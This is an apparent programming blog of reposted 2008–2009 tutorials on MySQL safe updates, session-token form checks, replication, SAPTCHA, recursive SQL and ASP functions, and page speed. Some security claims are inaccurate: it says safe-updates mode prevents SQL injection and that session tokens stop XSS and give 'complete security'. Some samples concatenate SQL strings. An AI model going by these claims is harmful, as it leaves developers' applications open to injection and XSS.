Webby - The PHP Team

How to achieve safe updates with MySQL in PHP

2009-09-23T11:42:00.006+05:30

How to achieve safe updates with MySQL in PHP

Posted using ShareThis

How to achieve safe updates with MySQL and PHP

In this post, we are going to discuss about safety updates with MySQL and using that with PHP.

For beginners, a useful startup option is ’safe updates’ (or –i-am-a-dummy, which has the same effect).

This option was introduced in MySQL 3.23.11. It is helpful during situations wherein you might have issued a “DELETE FROM tbl_name” statement but forgotten the WHERE clause. Normally, such a statement deletes all rows from the table. With ’safe updates’, you can delete rows only by specifying the key values that identify them. Hence, this helps prevent accidental deletions.

When you use the ’safe updates’ option, MySQL issues the following statement when it connects to the MySQL server:

SET sql_safe_updates=1, sql_select_limit=1000, sql_max_join_size=1000000;

The SET statement has the following effects:

You are not allowed to execute an UPDATE or DELETE a statement unless you specify a key constraint in the WHERE clause or provide a LIMIT clause (or both). For example:

UPDATE tbl_name SET not_key_column=val WHERE key_column=val;

UPDATE tbl_name SET not_key_column=val LIMIT 1

The server limits all large SELECT results to 1,000 rows unless the statement includes a LIMIT clause.

These are the options available with MySQL.

Now, we can use this in our coding by doing a small trick.

When you use the ’safe updates’ option and connect MySQL at command prompt, MySQL issues the following statement when it connects to the MySQL server:

SET sql_safe_updates=1, sql_select_limit=1000, sql_max_join_size=1000000;’

So, we can use this “SET sql_safe_updates=1″ query in our PHP coding. After connecting with the server and selecting the db, we need to execute this query so that safety update will affect all the other queries executed thereafter. This will ensure that no updates or delete operations perform without the WHERE clause.

This is an useful and important safety measure which can be used in our projects to avoid accidental deletion of all records in a table.

<?
// This is will be useful to avoid sql injection which may delete all rows of a table

// http://dev.mysql.com/doc/refman/4.1/en/mysql-tips.html

error_reporting(E_ALL);

$con= mysql_connect(”localhost”,”sorna”,”password”);
mysql_select_db(”test1″,$con);
mysql_query(”SET sql_safe_updates=1″);

mysql_query(”DELETE FROM register”); // This line won’t delete the table since we have turned on the safe updates mode. It won’t execute the delete query when it doesn’t have where clause
mysql_query(”DELETE FROM register WHERE id=6″); // This line will delete the record in which id is 6
mysql_close();

Source: http://www.dotcominfoway.com/blog

Whitelist Form for SPAM Protection: Part II

2009-09-09T11:57:00.008+05:30

Whitelist Form for SPAM Protection: Part II

Posted using ShareThis

This post is a continuation of our previous post
Whitelist Form for SPAM Protection: Part I

Here, we have explained the session part mentioned in the code.

Please refer to code samples before moving to the explanation.

Cross-site scripting (XSS) allows code injection of harmful web users in the web pages used by other users. Attackers can do it by using client-side scripts which help them to exploit browser details.

Attackers mainly use this method to hack a site when users browse/enter sensitive data like username, password, bank account number etc. Everything seems fine to the end-user while entering crucial data, but they maybe subject to unauthorized access i.e. they might become a victim of hacking, whereby all their important data are given away to the hackers. This leads to financial and critical data loss.

Here is a solution called Session which can circumvent such hacking problems. Session code is set on the server-side. We can generate a random session key by using md5 for encryption so that the session code is never repeated and stands unique. This code is set as a hidden value in the page which is being browsed by the user. Session codes are never the same. They keep changing with the browser.

This session code can be submitted through URL or as a hidden field. As shown in the code, we check for the session code generated and submitted from the key session. If the person trying to hack the site tries to manipulate user data and submit it, the session code will be different or there will not be any session code. From this, we can check for user intrusion/hacking and stop such hackers from proceeding further.

Using session not only prevents intrusion, but also theft of crucial data by attackers/hackers. Above all, it ensures complete security to end-users.

Source: http://www.dotcominfoway.com/blog

How To Set Up Database Replication In MySQL

2009-07-23T16:08:00.004+05:30

How To Set Up Database Replication In MySQL

How To Set Up Database Replication In MySQL

This tutorial describes how to set up database replication in MySQL. MySQL replication allows you to have an exact copy of a database from a master server on another server (slave), and all updates to the database on the master server are immediately replicated to the database on the slave server so that both databases are in sync. This is not a backup policy because an accidentally issued DELETE command will also be carried out on the slave; but replication can help protect against hardware failures though.

In this tutorial I will show how to replicate the database exampledb from the master with the IP address 192.168.0.100 to a slave. Both systems (master and slave) are running Debian Sarge; however, the configuration should apply to almost all distributions with little or no modification.

Both systems have MySQL installed, and the database exampledb with tables and data is already existing on the master, but not on the slave.

I want to say firstthat this is not the only way of setting up such a system. There are many waysof achieving this goal but this is the way I take. I do not issue any guaranteethat this will work for you!

1 Configure The Master

First we have to edit /etc/mysql/my.cnf. We have to enable networking for MySQL, and MySQL should listen on all IP addresses, therefore we comment out these lines (if existant):

#skip-networking
#bind-address            = 127.0.0.1

Furthermore we have to tell MySQL for which database it should write logs (these logs are used by the slave to see what has changed on the master), which log file it should use, and we have to specify that this MySQL server is the master. We want to replicate the database exampledb, so we put the following lines into /etc/mysql/my.cnf:

log-bin = /var/log/mysql/mysql-bin.log
binlog-do-db=exampledb
server-id=1

Then we restart MySQL:

/etc/init.d/mysql restart

Then we log into the MySQL database as root and create a user with replication privileges:

mysql -u root -p
Enter password:

Now we are on the MySQL shell.

GRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%' IDENTIFIED BY '<some_password>'; (Replace <some_password> with a real password!)
FLUSH PRIVILEGES;

Next (still on the MySQL shell) do this:

USE exampledb;
FLUSH TABLES WITH READ LOCK;
SHOW MASTER STATUS;

The last command will show something like this:

+---------------+----------+--------------+------------------+
| File          | Position | Binlog_do_db | Binlog_ignore_db |
+---------------+----------+--------------+------------------+
| mysql-bin.006 | 183      | exampledb    |                  |
+---------------+----------+--------------+------------------+
1 row in set (0.00 sec)

Write down this information, we will need it later on the slave!

Then leave the MySQL shell:

quit;

There are two possibilities to get the existing tables and data from exampledb from the master to the slave. The first one is to make a database dump, the second one is to use the LOAD DATA FROM MASTER; command on the slave. The latter has the disadvantage the the database on the master will be locked during this operation, so if you have a large database on a high-traffic production system, this is not what you want, and I recommend to follow the first method in this case. However, the latter method is very fast, so I will describe both here.

If you want to follow the first method, then do this:

mysqldump -u root -p<password> --opt exampledb > exampledb.sql (Replace <password> with the real password for the MySQL user root! Important: There is no space between -p and <password>!)

This will create an SQL dump of exampledb in the file exampledb.sql. Transfer this file to your slave server!

If you want to go the LOAD DATA FROM MASTER; way then there is nothing you must do right now.

Finally we have to unlock the tables in exampledb:

mysql -u root -p
Enter password:
UNLOCK TABLES;
quit;

Now the configuration on the master is finished. On to the slave...

2 Configure The Slave

On the slave we first have to create the database exampledb:

mysql -u root -p
Enter password:
CREATE DATABASE exampledb;
quit;

If you have made an SQL dump of exampledb on the master and have transferred it to the slave, then it is time now to import the SQL dump into our newly created exampledb on the slave:

mysql -u root -p<password> exampledb < /path/to/exampledb.sql (Replace <password> with the real password for the MySQL user root! Important: There is no space between -p and <password>!)

If you want to go the LOAD DATA FROM MASTER; way then there is nothing you must do right now.

Now we have to tell MySQL on the slave that it is the slave, that the master is 192.168.0.100, and that the master database to watch is exampledb. Therefore we add the following lines to /etc/mysql/my.cnf:

server-id=2
master-host=192.168.0.100
master-user=slave_user
master-password=secret
master-connect-retry=60
replicate-d-db=exampledb

Then we restart MySQL:

/etc/init.d/mysql restart

If you have not imported the master exampledb with the help of an SQL dump, but want to go the LOAD DATA FROM MASTER; way, then it is time for you now to get the data from the master exampledb:

mysql -u root -p
Enter password:
LOAD DATA FROM MASTER;
quit;

If you have phpMyAdmin installed on the slave you can now check if all tables/data from the masterexampledb is also available on the slave exampledb.

Finally, we must do this:

mysql -u root -p
Enter password:
SLAVE STOP;

In the next command (still on the MySQL shell) you have to replace the values appropriately:

CHANGE MASTER TO MASTER_HOST='192.168.0.100', MASTER_USER='slave_user', MASTER_PASSWORD='<some_password>', MASTER_LOG_FILE='mysql-bin.006', MASTER_LOG_POS=183;

MASTER_HOST is the IP address or hostname of the master (in this example it is 192.168.0.100).
MASTER_USER is the user we granted replication privileges on the master.
MASTER_PASSWORD is the password of MASTER_USER on the master.
MASTER_LOG_FILE is the file MySQL gave back when you ran SHOW MASTER STATUS; on the master.
MASTER_LOG_POS is the position MySQL gave back when you ran SHOW MASTER STATUS; on the master.

Now all that is left to do is start the slave. Still on the MySQL shell we run

START SLAVE;
quit;

That's it! Now whenever exampledb is updated on the master, all changes will be replicated to exampledb on the slave. Test it!

Links

MySQL:http://www.mysql.com

Source: http://www.howtoforge.com/mysql_database_replication

Advanced MySQL Replication Techniques - O'Reilly Media

2009-07-23T15:47:00.001+05:30

Advanced MySQL Replication Techniques - O'Reilly Media

Posted using ShareThis

CAPTCHA and proposed alternative, SAPTCHA

2009-02-04T13:02:00.005+05:30

Introduction

(skip to next section if you are familiar with concept of CAPTCHA)

CAPTCHA stands for Completely Automated Public Turing Test to Tell Computers and Humans Apart. [Wikipedia / Captcha]

Simply put, CAPTCHA is a set of methods commonly used to block automated account registration and similar massive abuse by making it costlier to spammer. Most common type of CAPTCHA is visual CAPTCHAs that test for image recognition. Though, at current moment, computers (using good software) is no worse than humans at single character image recognition (source) (fortunately spammers don't bother to use such software yet.)

Most likely you have already been tested by CAPTCHAs - that's those images od distorted and obstructed letters that you must enter into text field to complete registration of email account or to post reply to blog.

Verbal CAPTCHA would not discriminate against vision impaired, but computer will only be able to generate very limited subset of questions and thus it would be relatively simple to defeat such CAPTCHA. Audio CAPTCHAs is uncommon because one would still need visual one and it would double effort.

CAPTCHAs has numerous problems(see wikipedia article linked above for good overview); there is existing methods of character recognition, plus it is often possible to defeat captcha knowing the algorithm it uses.

Intuitively, while computers is not smart enough to pass true Turing test, computers may be smart enough to fool other computers.

In some CAPTCHAs, the image is obscured in a way that makes it harder to read for human, but will have no effect on computer - for example, computer won't have any problem at all filtering out colored background, but it can confuse human(especially colorblind).

Often, human don't know how many letters should be there, and random lines may look like yet another distorted letter, confusing human but not computer that knows how many letters should be there. Some letters in common fonts differ too little to be reliably recognized by human when distorted (such as 0,O ; I,l,i,!,j ; vv,w and so on). Humans recognize heavily distorted letters in handwriting based on the context, but letters in CAPTCHAs lack context.Last but not least, such methods unnecessarily discriminate against disabled who can not see the image.

SAPTCHA.

SAPTCHA stands for Semi Automatic Public Turing Test to Tell Computers and Humans Apart.

The key concept is same as with CAPTCHA: user is presented with test question or instructions and must give correct answer to use resource. Main difference is that computer does not try to automatically generate "unique" test questions on each query; only verification of answer is automatic. Instead, unique test question and answer[s] is set by moderator or owner when SAPTCHA is installed, and should be easy to change if needed.

SAPTCHA is proposed as more accessible alternative to CAPTCHA that may replace CAPTCHA in services such as most blogs and forums. SAPTCHA works as lightweight CAPTCHA.

The concept follows from observation that there is many cases where automated generation of unique test question or image does not add much to prevention of abuse - spammer do not need to pass test more than once on same forum or blog anyway. Often, there's no human spammer interacting with website at all [who wouldn't love to think that his site is so important that it is spammed personally :-)]; in such cases static question is not worse at stopping bot than dynamic. Human generated questions has much broader diversity and is thus harder for computer to answer. It must be also noted that CAPTCHA itself is not really "completely automatic" - human has to write and maintain test software, which will not change often but is costly to develop.

Example questions: User is given instruction like "write [no i'm not a computer!] in this text field" or "write 'i'm human' in reverse" or "write[or copy-paste] web address of this page there" (please don't use too similar things. No default questions and answers. Think up something yourself. Don't try to be clever. It should be not more complex to understand and do than rest of registration instruction and resource usage, and thus shouldn't decrease website's accessability(!). It's better if answer is more than 1 character long or if there is delay or block for bots that "try again".)

Bots can try to understand text written by human in normal language (very hard problem in AI) or try to guess (some delay can make it pointless) or try some common test answers if any (but the common test questions and answers will quickly disappear)

Spammer have to manually answer the question to start spamming. This is exactly same problem as with CAPTCHA at registration. Similarly to CAPTCHA at registration, human invervention is necessary to stop spam. - account must be banned and for SAPCHA question must be changed(if bot can reuse answer automatically).

In a way, SAPTCHA can be viewed as light weight disposable CAPTCHA test that is cheap to replace when it get compromised.

Comparison

Sample use scenarios

SAPTCHA

s.0) Normal user comes accross your blog. If he can answer question, he can post reply, unless you made bad question/instructions. If user can't read your question, probably he can't read your blog either, so the SAPTCHA shouldn't make it less accessible.

s.1) Spammer bot comes accross your blog. No spamming happens. Bots can't understand human language yet.

s.2) Spammer human comes accross your blog/forum, answer question, register account, and possibly add answer and account to spambot database or proceeds to spam manually. You are spammed. It will take a moderator to ban spammer and stop spam; the banning form may also ask moderator for new question and new answer that needs to be provided if spamming was done by bot that "knows" answer to question.

CAPTCHA

s.0) Normal user comes accross your blog/forum. If he can see, and CAPTCHA is simple he can post reply with small hastle if he doesn't have to pass CAPTCHA every time he replies. If CAPTCHA is "unbreakable" or uses bad colors, he will need few tries and is going to get annoyed, especially so if he need to pass it for every reply. If he is blind or otherwise can't see it, no way.

s.1) Spammer bot comes accross your blog. You might get spammed if bot can recognize image (it is possible if you are using popular CAPTCHA), but most likely you won't.

s.2) Spammer human comes accross your blog/forum. He can answer question, register account, add it to spambot database. You are spammed. It will take moderator to ban the bot, and delete spam[assuming that spam filters alone don't suffice without CAPTCHA]; so you still need human intervention from your side. As have been said before, if you'd ask to pass CAPTCHA for every message it'd be too annoying for normal users as well.

Comparison of SAPTCHA versus CAPTCHA features

Advantages of SAPTCHA over CAPTCHA:

SAPTCHA software is much easier to implement than CAPTCHA
Textual SAPTCHA does not discriminate against disabled who can use internet. [Audio CAPTCHA plus visual CAPTCHA would double effort and is thus very uncommon in practice]
There is methods for breaking image based CAPTCHAs. If you use popular CAPTCHA, you may still get spammed by entirely automatic bot. SAPTCHAs can be much more varied and there won't be common method of breaking until it becomes possible for computers to interpret human instructions in normal human language.

Advantages of CAPTCHA over SAPTCHA (disadvantages of SAPTCHA):

With SAPTCHA, when banning spammer, moderator must enter new question and answer. With CAPTCHA, though, there's point 1 above (& CAPTCHA code won't remain useful forever either), so for not extremely popular websites it seems highly unlikely that even in long run CAPTCHA would save work.
If SAPTCHA is used to protect registration, it is easier to register many accounts at once than with CAPTCHA; may matter with popular email services.
Verbal SAPTCHA is problematic when it is multi-language resource that needs frequent changes.
When it is something like photo gallery, visual CAPTCHA is allright as it doesn't contribute to inaccessability.

Conclusion:

SAPTCHA can be viable alternative to CAPTCHA for web resources like forums and blogs and in other situations when spammer can not afford to target resources individually. With textual resources, SAPTCHA does not lessen accessability of resource.

It is suggested that forum and blogging software should offer support for SAPTCHA in addition to existing support for CAPTCHA, thus allowing administrator to use SAPTCHA and switch to CAPTCHA only when and if SAPTCHA is found to be really inadequate in this situation (which is expected to happen only on very popular web resources). By the method of operation, SAPTCHA can give only limited protection against account registration abuses when abuser is willing to solve SAPTCHA and consequently run bot that register really many accounts (e.g. for use of email as storage), which would be prevented by CAPTCHA on every registration.

Live example of question

John had one thousand apples and five oranges. He ate as many of his apples as there is letters in word "apple". Also he ate two bananas :-). How many appl es John have?

If you are annoyed by CAPTCHA, think about alternatives and discuss concept of SAPTCHA with others. Make the best meme win.

Source: http://dmytry.pandromeda.com/

Recursive SQL User Defined Functions

2008-08-13T13:29:00.001+05:30

In this article we will cover the new feature of SQL Server 2000 and the ability to create user defined functions. We will focus on creating recursive queries in this article to extend upon previous articles.
Being the developer for this directory, I had a need to perform several recursive methods. Any time you are creating a tree like data structure like directories, org charts, etc. You will need to perform some kind of recursion. In this example, I wanted to be able to provide a count of all descendents sites under a particular category as you see on WWWCoder.com when navigating the site. Each category contains a count of descendent sites of all categories under that specific category.
In the past there were several ways to perform this, one simple method was to create a field in the categories table that would get incremented each time a site was added. This was accomplished using a recursive method in the ASP.Net code that would create a new connection to the database each time a new record was added. It did eliminate the need to call a recursive function for each time a person requested a page to display the category navigation. Basically the method performed would accept a category id and a string value to increment or decrement the count contained in the site count field:

Public Sub UpdateParentCount(ByVal ParentID As Integer, ByVal AddSubtract As String)

 Dim SQLQ As String = "UPDATE Categories Set SiteCount = SiteCount " & AddSubtract & " 1"

 If AddSubtract = "+" Then 'add a new icon.

  SQLQ = SQLQ & ", DateSiteAdded = '" & Date.Today & "'"

 End If

 SQLQ = SQLQ & " WHERE CategoryID=" & ParentID

 Dim secondConnection As New SqlConnection(GetDBConnectionString)

 Dim secondCommand As New SqlCommand(SQLQ, secondConnection)

 secondCommand.CommandType = CommandType.Text

 secondConnection.Open()

 secondCommand.ExecuteNonQuery()

 secondConnection.Close()

 secondConnection = Nothing

 Dim SQLQ2 As String = "SELECT ParentID FROM Categories Where CategoryID = " & ParentID

 Dim myConnection As New SqlConnection(GetDBConnectionString)

 Dim myCommand As New SqlCommand(SQLQ2, myConnection)

 myConnection.Open()

 Dim result As SqlDataReader = myCommand.ExecuteReader(CommandBehavior.CloseConnection)

 If result.Read Then

  UpdateParentCount(result("ParentID"), AddSubtract)

 End If

 myConnection.Close()

 myConnection = Nothing

End Sub

This wasn't too bad of solution, since I was able to eliminate the hits on the database for the count. The problem here is a count can become incorrect if any changes are performed outside of the application.
The solution for me had to meet the following requirements: reduce traffic between the Web server and the database server, and make sure an accurate count is always available in the database regardless of what modifies the records that it contains. In order to accomplish this, the count method was moved out of the ASP.Net code and into the database. SQL Server 2000 supports User Defined Functions that can be called from a stored procedure, in addition, the function can be recursive up to 32 levels. Since I can't see a need to go beyond 32 levels deep of categories, I opted to use the functions for creating the count. Here is an example of using a function from within a stored procedure:

ALTER procedure GetCategories

@ParentID   int

as

BEGIN

SELECT

    CategoryID, CategoryName, Path, SiteCount, DateSiteAdded,

    ParentID, SortColumn, dbo.CountChildren(CategoryID, 0)

    As CulCount

FROM

    Categories

WHERE

    ParentID = @ParentID

ORDER BY

    SortColumn, CategoryName

END

You'll notice in the SQL stored procedure's select statement there is a call to a function called CountChildren, in this function we pass the category id of the current category and the current cumulative count of the sites within the category.

ALTER FUNCTION dbo.CountChildren

(@id int, @cChildren int)

RETURNS bigint

AS

BEGIN

IF EXISTS (SELECT

    Sites.SiteCatID

FROM

    dbo.Categories

INNER JOIN

    dbo.Sites

ON

    dbo.Categories.CategoryID = dbo.Sites.SiteCatID

WHERE

    dbo.Categories.ParentID = @id OR dbo.Sites.SiteCatID = @id)

BEGIN

   SET @cChildren = @cChildren + (

     SELECT

        Count(SiteCatID)

        FROM

            Sites

        WHERE

            SiteCatID = @id AND SiteActive = 1)

  SELECT

              @cChildren = dbo.CountChildren(CategoryID, @cChildren)

            FROM

              Categories

            WHERE

              ParentID = @id

END

  RETURN @cChildren

END

As you can see the function calls itself just as a recursive function in VB.Net would do, each time incrementing the cumulative count of all descendents of a particular category. In the end we have all the information generated on the SQL machine, and then it returns what we need without having to call a recursive method in the ASP.Net page and generate all the additional database calls over the network.
By: Patrick Santry, Microsoft MVP (ASP/ASP.NET), developer of this site, author of books on Web technologies, and member of the DotNetNuke core development team. If you're interested in the services provided by Patrick, visit his company Website at Santry.com.

Source: http://www.wwwcoder.com/

Recursive Sub-Procedures in ASP

2008-08-13T13:24:00.003+05:30

This tutorial explains how to do recursive subroutines in ASP (VBScript). Use this algorithm to create threaded discussions, directories, or whatever use you have for it.

One of the best algorithms to know as a Web developer is how to code recursive sub procedures. What's recursion, and how does it help you as an ASP developer? Recursion allows you to code parent-child relationships. Parent-child relationships are the essence of directory tree-like structures. Trees allow you to develop threaded discussions, directory search engines (like santry.com), and perform lookups through your directories.

This process is done by calling a subroutine unto itself. What happens is the subroutine is initially called and then the subroutine calls itself until an end or condition is reached. Say for instance your doing a directory listing to list the contents of a directory, then each time the procedure encounters a new directory it calls itself to list the contents of the subdirectory, then the subroutine calls itself again to list the contents of directories in this sub directory and so on.

You can create this parent-child relationship in a database table. For example, the following table structure in a database:

RecordID (autonumber)	ParentID	DisplayName
1	0	Topic 1
2	0	Topic 2
3	1	RE: Topic 1
4	1	RE: Topic 1
5	2	RE: RE: Topic 1
6	2	RE: RE: Topic 1

You can see from the above table that we have several records, some of the records have a 0 as a ParentID, meaning this is a top level parent record, then other records do have a value other than 0 in the ParentID, meaning they are children of the record that has a matching ID in the table. This structure is very versatile, in that you can have unlimited child records using this structure, thus allowing you to create as many nests or branches you wish. You should now see why this algorithm is very useful when it comes to the Web. This structure drives those threaded forums, directories and all the cool apps that you want to be able to create.

The next piece of code shows how to make the SQL call and then call the subroutine in order to display this structure to the user.
Set DBConn = Server.CreateObject("ADODB.Connection")
DBConn.Open "DSN=MyDSN"
'here we initially call the sub routine, we pass 0 as the parent ID
'this will pull all top level parent (meaning they don't have an 'ancestor).
'we also pass 0 for the level, this is used for spacing, or
'making the results appear threaded.
DoTree(0,0)
'----------------------------------------------------------
Sub DoTree(ParentID, intLevel)
Dim SQLQ, DBConn, rs, i
SQLQ = "SELECT RecordID, DisplayName FROM RECORDS " & _
      "WHERE ParentID = " & ParentID
       Set rs = DBConn.Execute(SQLQ)
       If Not rs.EOF Then
           Do Until rs.EOF
                 Response.Write "<img src=Spacer.gif Width= " & _
                 15 * intLevel & ">"
                 Response.Write rs("DisplayName") & "<br>"
'now call the subroutine we're in to see if this value has
'any children and increase the indent, and so on...
                DoTree rs("RecordID"), intLevel + 1
               rs.MoveNext
           Loop
       End If
       rs.Close
       Set rs = Nothing
End Sub
'------------------------------------------------------------
DBConn.Close
Set DBConn= Nothing
'Once this routine is execute you should see results similiar to this:
Topic 1
    RE: Topic 1
        RE: RE: Topic 1
        RE: RE: Topic 1
    RE: Topic 1
Topic 2

So you can see from this example how you can use this to create a threaded type forum. You'll need to play around with the preceeding code a bit and find out how you can put it to use in your application.

Source: http://www.wwwcoder.com/

Recursive Functions in ASP

2008-08-13T13:14:00.004+05:30

A function that calls itself repeatedly, satisfying some condition is called a Recursive Function. Using recursion, we split a complex problem into its single simplest case. The recursive function only knows how to solve that simplest case. You'll see the difference between solving a problem iteratively and recursively later.

Warning!

Beware! Use the recursion technique carefully, if you fail to handle it appropriately you can end up with a never-ending ASP application.

Same Old Factorial problem

Almost for every language, the beginners learning the concept of recursion are presented with the same old Factorial problem. I'll follow the traditional path, because I feel that it's the easiest way to understand the basic concept of recursion.

Understanding the problem

In mathematics, the factorial of a positive integer n, written as n! is represented by the following formula:

n! = n . (n-1) . (n-2) . (n-3) . Š. . 1

In plain english, factorial of a number is the product of that number with a number 1 less than that number, this multiplication process continues until the number which is being multiplied, eventually becomes equal to 1.

Iterative Solution

In the following function the value of 5! is calculated iteratively:

<%  
Response.Write iterativeFactorial (5)    

Function iterativeFactorial ( intNumber )
   
 Dim intCount, intFactorial  
   
 intFactorial = 1  
 For intCount = intNumber To 1 Step -1
   
  intFactorial = intFactorial * intCount
   Next  
   iterativeFactorial = intFactorial  
End Function
%>

Recursive Solution

The following function represents the recursive solution for the factorial problem.

<%  
  Response.Write recursiveFactorial (5)    
  Function recursiveFactorial ( intNumber )
   If intNumber <= 1 Then
    recursiveFactorial = 1  Else
   recursiveFactorial = intNumber * recursiveFactorial ( intNumber - 1 )
   End If  
  End Function  
%>

The working of the above function recursiveFactorial is simple. If the integer argument "intNumber" is less than or equal to one, then the function returns 1, else the return value of the function is the product of intNumber with the value returned by the same function for integer argument "intNumber-1".

Answer of the above problem:

5! = 5 . (5-1) . (5-2) . (5-3) . (5-4)

Simplifying:

5! = 5 . 4 . 3 . 2. 1 = 120

Example: Folder Tree

The following example will display the tree structure for a specified folder.

<%
  ' Displays the Tree structure, replaces vbTab character with 3 HTML  spaces

  Response.Write Replace (DisplayFolderTree ("c:\windows", 0), vbTab,  "   ")

  Function DisplayFolderTree ( strFolder, intTreeLevel )

   Dim objFileSystem, objFolder, objSubFolders, objTempFolder  
   Set objFileSystem = CreateObject("Scripting.FileSystemObject")  

   ' Get the name of current folder
   Set objFolder = objFileSystem.GetFolder ( strFolder )  

   ' Get the list of subfolders
   Set objSubFolders = objFolder.SubFolders  

   ' Adds the name of current folder with proper indentation
   ' intTreeLevel is used only for indenting folder name  according to its pos ition
   DisplayFolderTree = DisplayFolderTree & String ( intTreeLevel,  vbTab) & "•"
   DisplayFolderTree = DisplayFolderTree & vbTab & objFolder.Name &  "<br>"
  
   ' Recursion takes place here
   ' If any "subfolders exist", the function is repeated for  them too!
   If objSubFolders.Count > 0 Then
    For Each objTempFolder in objSubFolders
     strArgument = strFolder & "\" & objTempFolder.Name
     DisplayFolderTree = DisplayFolderTree &  DisplayFolderTree ( strArgument, intTreeLevel+1 )
    Next
    End If  

   ' When the control reaches HERE! This means your function has  ended
   ' Now no more recursive calls to the function will take place
  
  End Function  
%>

Conclusion

The recursive functions solve the problem in a method much identical to their real-life solutions. In the example above, we simply display the name of current folder. Then we obtain a list of subfolders and repeat the function for each of them.

While using iterative functions we know about the number of iterations, ie. how many times a loop will be executed, in advance.

In the factorial problem, recursion is not necessary because we know that a loop will be executed until the value of the number becomes 1. But, in Folder Tree example, we never know how many subfolders may be present in a folder and how many iterations will be required. For this purpose, the most suitable solution is to call the function recursively to display information about a folder and its subfolders.

Source: http://www.15seconds.com/

Best Practices for Speeding Up Your Web Site

2008-07-09T18:50:00.002+05:30

The Exceptional Performance team has identified a number of best practices for making web pages fast.

Minimize HTTP Requests

80% of the end-user response time is spent on the front-end. Most of this time is tied up in downloading all the components in the page: images, stylesheets, scripts, Flash, etc. Reducing the number of components in turn reduces the number of HTTP requests required to render the page. This is the key to faster pages.

One way to reduce the number of components in the page is to simplify the page's design. But is there a way to build pages with richer content while also achieving fast response times? Here are some techniques for reducing the number of HTTP requests, while still supporting rich page designs.

Combined files are a way to reduce the number of HTTP requests by combining all scripts into a single script, and similarly combining all CSS into a single stylesheet. Combining files is more challenging when the scripts and stylesheets vary from page to page, but making this part of your release process improves response times.

CSS Sprites are the preferred method for reducing the number of image requests. Combine your background images into a single image and use the CSS background-image and background-position properties to display the desired image segment.

Image maps combine multiple images into a single image. The overall size is about the same, but reducing the number of HTTP requests speeds up the page. Image maps only work if the images are contiguous in the page, such as a navigation bar. Defining the coordinates of image maps can be tedious and error prone. Using image maps for navigation is not accessible too, so it's not recommended.

Inline images use the data: URL scheme to embed the image data in the actual page. This can increase the size of your HTML document. Combining inline images into your (cached) stylesheets is a way to reduce HTTP requests and avoid increasing the size of your pages. Inline images are not yet supported across all major browsers.

Reducing the number of HTTP requests in your page is the place to start. This is the most important guideline for improving performance for first time visitors. As described in Tenni Theurer's blog post Browser Cache Usage - Exposed!, 40-60% of daily visitors to your site come in with an empty cache. Making your page fast for these first time visitors is key to a better user experience.

Use a Content Delivery Network

The user's proximity to your web server has an impact on response times. Deploying your content across multiple, geographically dispersed servers will make your pages load faster from the user's perspective. But where should you start?

As a first step to implementing geographically dispersed content, don't attempt to redesign your web application to work in a distributed architecture. Depending on the application, changing the architecture could include daunting tasks such as synchronizing session state and replicating database transactions across server locations. Attempts to reduce the distance between users and your content could be delayed by, or never pass, this application architecture step.

Remember that 80-90% of the end-user response time is spent downloading all the components in the page: images, stylesheets, scripts, Flash, etc. This is the Performance Golden Rule. Rather than starting with the difficult task of redesigning your application architecture, it's better to first disperse your static content. This not only achieves a bigger reduction in response times, but it's easier thanks to content delivery networks.

A content delivery network (CDN) is a collection of web servers distributed across multiple locations to deliver content more efficiently to users. The server selected for delivering content to a specific user is typically based on a measure of network proximity. For example, the server with the fewest network hops or the server with the quickest response time is chosen.

Some large Internet companies own their own CDN, but it's cost-effective to use a CDN service provider, such as Akamai Technologies, Mirror Image Internet, or Limelight Networks. For start-up companies and private web sites, the cost of a CDN service can be prohibitive, but as your target audience grows larger and becomes more global, a CDN is necessary to achieve fast response times. At Yahoo!, properties that moved static content off their application web servers to a CDN improved end-user response times by 20% or more. Switching to a CDN is a relatively easy code change that will dramatically improve the speed of your web site.

Add an Expires or a Cache-Control Header

There are two things in this rule:

For static components: implement "Never expire" policy by setting far future Expires header
For dynamic components: use an appropriate Cache-Control header to help the browser with conditional requests

Web page designs are getting richer and richer, which means more scripts, stylesheets, images, and Flash in the page. A first-time visitor to your page may have to make several HTTP requests, but by using the Expires header you make those components cacheable. This avoids unnecessary HTTP requests on subsequent page views. Expires headers are most often used with images, but they should be used on all components including scripts, stylesheets, and Flash components.

Browsers (and proxies) use a cache to reduce the number and size of HTTP requests, making web pages load faster. A web server uses the Expires header in the HTTP response to tell the client how long a component can be cached. This is a far future Expires header, telling the browser that this response won't be stale until April 15, 2010.

      Expires: Thu, 15 Apr 2010 20:00:00 GMT

If your server is Apache, use the ExiresDefault directive to set an expiration date relative to the current date. This example of the ExpiresDefault directive sets the Expires date 10 years out from the time of the request.

      ExpiresDefault "access plus 10 years"

Keep in mind, if you use a far future Expires header you have to change the component's filename whenever the component changes. At Yahoo! we often make this step part of the build process: a version number is embedded in the component's filename, for example, yahoo_2.0.6.js.

Using a far future Expires header affects page views only after a user has already visited your site. It has no effect on the number of HTTP requests when a user visits your site for the first time and the browser's cache is empty. Therefore the impact of this performance improvement depends on how often users hit your pages with a primed cache. (A "primed cache" already contains all of the components in the page.) We measured this at Yahoo! and found the number of page views with a primed cache is 75-85%. By using a far future Expires header, you increase the number of components that are cached by the browser and re-used on subsequent page views without sending a single byte over the user's Internet connection.

Gzip Components

The time it takes to transfer an HTTP request and response across the network can be significantly reduced by decisions made by front-end engineers. It's true that the end-user's bandwidth speed, Internet service provider, proximity to peering exchange points, etc. are beyond the control of the development team. But there are other variables that affect response times. Compression reduces response times by reducing the size of the HTTP response.

Starting with HTTP/1.1, web clients indicate support for compression with the Accept-Encoding header in the HTTP request.

      Accept-Encoding: gzip, deflate

If the web server sees this header in the request, it may compress the response using one of the methods listed by the client. The web server notifies the web client of this via the Content-Encoding header in the response.

      Content-Encoding: gzip

Gzip is the most popular and effective compression method at this time. It was developed by the GNU project and standardized by RFC 1952. The only other compression format you're likely to see is deflate, but it's less effective and less popular.

Gzipping generally reduces the response size by about 70%. Approximately 90% of today's Internet traffic travels through browsers that claim to support gzip. If you use Apache, the module configuring gzip depends on your version: Apache 1.3 uses mod_gzip while Apache 2.x uses mod_deflate.

There are known issues with browsers and proxies that may cause a mismatch in what the browser expects and what it receives with regard to compressed content. Fortunately, these edge cases are dwindling as the use of older browsers drops off. The Apache modules help out by adding appropriate Vary response headers automatically.

